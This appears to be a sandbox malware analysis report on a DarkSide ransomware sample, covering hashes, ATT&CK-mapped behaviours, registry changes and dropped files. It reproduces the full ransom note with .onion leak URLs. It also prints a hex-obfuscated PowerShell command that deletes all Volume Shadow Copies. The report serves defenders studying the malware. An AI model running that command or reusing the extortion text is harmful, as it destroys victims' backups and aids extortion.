darkside | c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e

General

Target

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Size

75KB
MD5

82eab016732be7b8b8aa14f205ca69cf
SHA1

818f451044610b1805e4c515d2bf112718fc8125
SHA256

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e
SHA512

1b87a7b81c1841e6dff89224f386ff52bd752e124e8c1c68e480ba399446404ad29e92172731fccd93e8a89e61f5097c07c9d6e0f41d2131a96d317344343eea
SSDEEP

1536:Dx7Fu4/i6/P3rlckx5+R4VDZ5CRGCq2iW7z:F7FujwPblhx1DZ5yGCH

Score

10^/10

darkside aspackv2 credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.b77a682a.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (161) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\zfkiJzV.exe	aspack_v212_v242

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Executes dropped EXE 1 IoCs

Processes:

zfkiJzV.exe

pid process

2320 zfkiJzV.exe

pid	process
2320	zfkiJzV.exe

Loads dropped DLL 2 IoCs

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

pid	process
2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2600 powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\b77a682a.BMP"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\b77a682a.BMP"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

pid process

2436 c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Drops file in Program Files directory 64 IoCs

Processes:

zfkiJzV.exe

description	ioc	process
File opened for modification	C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaire.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec64.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Windows Mail\wab.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroTextExtractor.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\orbd.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstat.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\ktab.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmid.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\unpack200.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Windows Journal\PDIALOG.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\DVD Maker\DVDMaker.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmiregistry.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\servertool.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\extcheck.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstack.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Spades\shvlzm.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleCrashHandler64.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jcmd.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\unpack200.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\javaws.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ssvagent.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\updater.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaws.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaws.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\idlj.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\java.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\keytool.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\WORDICON.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\ssvagent.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Checkers\chkrzm.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\XLICONS.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CNFNOT32.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmic.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ktab.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jdb.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\pack200.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\serialver.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\jp2launcher.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre7\bin\rmiregistry.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Games\Hearts\Hearts.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\wsimport.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOSYNC.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Windows Defender\MSASCui.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroBroker.exe	zfkiJzV.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exezfkiJzV.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zfkiJzV.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\WallpaperStyle = "10"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Modifies registry class 5 IoCs

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.b77a682a\ = "b77a682a"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\b77a682a\DefaultIcon	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\b77a682a	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\b77a682a\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\b77a682a.ico"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.b77a682a	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exec2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

pid	process
2600	powershell.exe
2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSecurityPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeTakeOwnershipPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeLoadDriverPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSystemProfilePrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSystemtimePrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeProfSingleProcessPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeIncBasePriorityPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeCreatePagefilePrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeBackupPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeRestorePrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeShutdownPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeDebugPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSystemEnvironmentPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeRemoteShutdownPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeUndockPrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeManageVolumePrivilege	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 33	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 34	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 35	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeBackupPrivilege	1168	vssvc.exe
Token: SeRestorePrivilege	1168	vssvc.exe
Token: SeAuditPrivilege	1168	vssvc.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exezfkiJzV.exe

description	pid	process	target process
PID 2436 wrote to memory of 2320	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	zfkiJzV.exe
PID 2436 wrote to memory of 2320	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	zfkiJzV.exe
PID 2436 wrote to memory of 2320	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	zfkiJzV.exe
PID 2436 wrote to memory of 2320	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	zfkiJzV.exe
PID 2320 wrote to memory of 2012	2320	zfkiJzV.exe	cmd.exe
PID 2320 wrote to memory of 2012	2320	zfkiJzV.exe	cmd.exe
PID 2320 wrote to memory of 2012	2320	zfkiJzV.exe	cmd.exe
PID 2320 wrote to memory of 2012	2320	zfkiJzV.exe	cmd.exe
PID 2436 wrote to memory of 2600	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	powershell.exe
PID 2436 wrote to memory of 2600	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	powershell.exe
PID 2436 wrote to memory of 2600	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	powershell.exe
PID 2436 wrote to memory of 2600	2436	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
"C:\Users\Admin\AppData\Local\Temp\c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe"
1⤵
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2436

C:\Users\Admin\AppData\Local\Temp\zfkiJzV.exe
C:\Users\Admin\AppData\Local\Temp\zfkiJzV.exe
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\778451e1.bat" "
3⤵
- System Location Discovery: System Language Discovery
PID:2012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2600

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z7V06J7Q\k2[1].rar

Filesize
4B

MD5
d3b07384d113edec49eaa6238ad5ff00

SHA1
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

SHA256
b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

SHA512
0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\00BB5F0E.exe

Filesize
4B

MD5
20879c987e2f9a916e578386d499f629

SHA1
c7b33ddcc42361fdb847036fc07e880b81935d5d

SHA256
9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

SHA512
bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

Download Submit
C:\Users\Admin\AppData\Local\Temp\778451e1.bat

Filesize
189B

MD5
1e42d19c4c9e3512c6a376a54cbd6742

SHA1
cb06edb96a151635bc1c998dd7f69ab8b2d057d4

SHA256
e33bb21b31fc3eaf339c17c5621afb94db98bfd6cab976e831b8fa23a08351d7

SHA512
a73f0ed440aec2a08145a42e5168abe3e46fec824889e3d5215645dc1c4bc8f2a1d45220bf30cc391416f5d289d21608a120cc37c12a255580bbde94830ef320

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d35651d54d4e28f7fbdce7a374a3e721

SHA1
bc872a1a5711df16777694adbb75ff1d06eac92d

SHA256
b8358fe1588880e8e890da33528c6bd4e0bac57893519d9223f76bc919f1b31b

SHA512
95fb49c30ccdbd5244b6df04da29a7d4e73674900b2611b680735a3e4b4d85e6cbd049c2c23c959ef0654416ec76814c3530d4ff2d03560d9bb54dec790a2800

Download Submit
C:\Users\Admin\README.b77a682a.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
\Users\Admin\AppData\Local\Temp\zfkiJzV.exe

Filesize
15KB

MD5
f7d21de5c4e81341eccd280c11ddcc9a

SHA1
d4e9ef10d7685d491583c6fa93ae5d9105d815bd

SHA256
4485df22c627fa0bb899d79aa6ff29bc5be1dbc3caa2b7a490809338d54b7794

SHA512
e4553b86b083996038bacfb979ad0b86f578f95185d8efac34a77f6cc73e491d4f70e1449bbc9eb1d62f430800c1574101b270e1cb0eeed43a83049a79b636a3

Download Submit
memory/2320-15-0x0000000000070000-0x0000000000079000-memory.dmp

Filesize
36KB

Download
memory/2436-9-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/2436-16-0x0000000000BD0000-0x0000000000BE9000-memory.dmp

Filesize
100KB

Download
memory/2436-0-0x0000000000BD0000-0x0000000000BE9000-memory.dmp

Filesize
100KB

Download
memory/2436-4-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/2600-63-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2600-64-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads